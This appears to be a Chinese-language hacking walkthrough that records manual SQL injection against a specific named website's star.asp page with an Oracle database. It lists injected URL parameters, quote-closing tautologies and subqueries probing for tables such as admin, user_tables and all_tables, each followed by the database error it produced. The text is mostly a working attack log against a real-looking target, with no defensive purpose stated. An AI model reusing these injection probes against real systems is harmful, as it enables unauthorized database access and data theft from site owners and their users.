http://et.kpworld.com/star.asp?performer=马三立;   
------------------------------------------------------   
OraOLEDB 错误 ’80040e14’ ORA-00911:   
invalid character   
/star.asp，行83   

说明过滤了分号。   


http://et.kpworld.com/star.asp?performer=马三立’   
----------------------------------------------------   
OraOLEDB 错误 ’80004005’ ORA-01756:   
括号内的字符串没有正确结束   
/star.asp，行83   


看来存在未过滤单引号问题。   


http://et.kpworld.com/star.asp?performer=马三立’ and ’1’=’1   
----------------------------------------------------------------   
闭和他单引号，正常返回。   


and 0<>(select count(*) from admin) and  ’1’=’1   
-----------------------------------------------------------------   
OraOLEDB 错误 ’80040e37’ ORA-00942:   
table or view does not exist   
/star.asp，行83   


说明不存在ADMIN这个表.   
******************************************************************   


下面需要知道ORACLE的系统表：   


确定表中行的总数：   


select num_rows from user_tables where table_name=’表名 ----------------------存放当前用户所有表   
where table_name=’表名   
’selectcolumn_name,   
from user_tab_columns -----------------------存放所有列   
where table_name=’表名’   


and 0<>(select count(*) from all_tables) and  ’1’=’1   
---------------------------------------------------------------------   
存在！   
all_tables是一个系统表,用来存放当前ID和其他用户的所有表   


and 0<>(select count(*) from user_tables) and  ’1’=’1   
---------------------------------------------------------------------   


返回。有这个系统表，这个表存放当前用户的所有表   


and 0<>(select top 1 table_name from user_tables) and  ’1’=’1   
---------------------------------------------------------------------------------   
OraOLEDB 错误 ’80040e14’ ORA-00923:   
FROM keyword not found where expected   
/star.asp，行83   


不支持TOP 1 ?。。。。。。这种解释好象不太理想。。。   
(经过PINKEYES测试已经确定确实不支持TOP 1)   


and 0<>(select count(*) from user_tables where table_nam<>’’) and  ’1’=’1   
--------------------------------------------------------------------------------------------   


OraOLEDB 错误 ’80040e14’ ORA-00904:   
invalid column name /star.asp，行83   


当语法错误时,会显示无效列名字   


and 0<>(select count(*) from user_tables where table_name<>’’’’) and ’1’=’1   
--------------------------------------------------------------------------------------------   


语法正确时，成功返回标志,看来四个单引号表示空.接下来是对一些函数的测试：   


and 0<>(select count(*) from user_tables where sum(table_name)>1) and ’1’=’1   
------------------------------------------------------------------------------------------------   


OraOLEDB 错误 ’80040e14’ ORA-00934:   
group function is not allowed here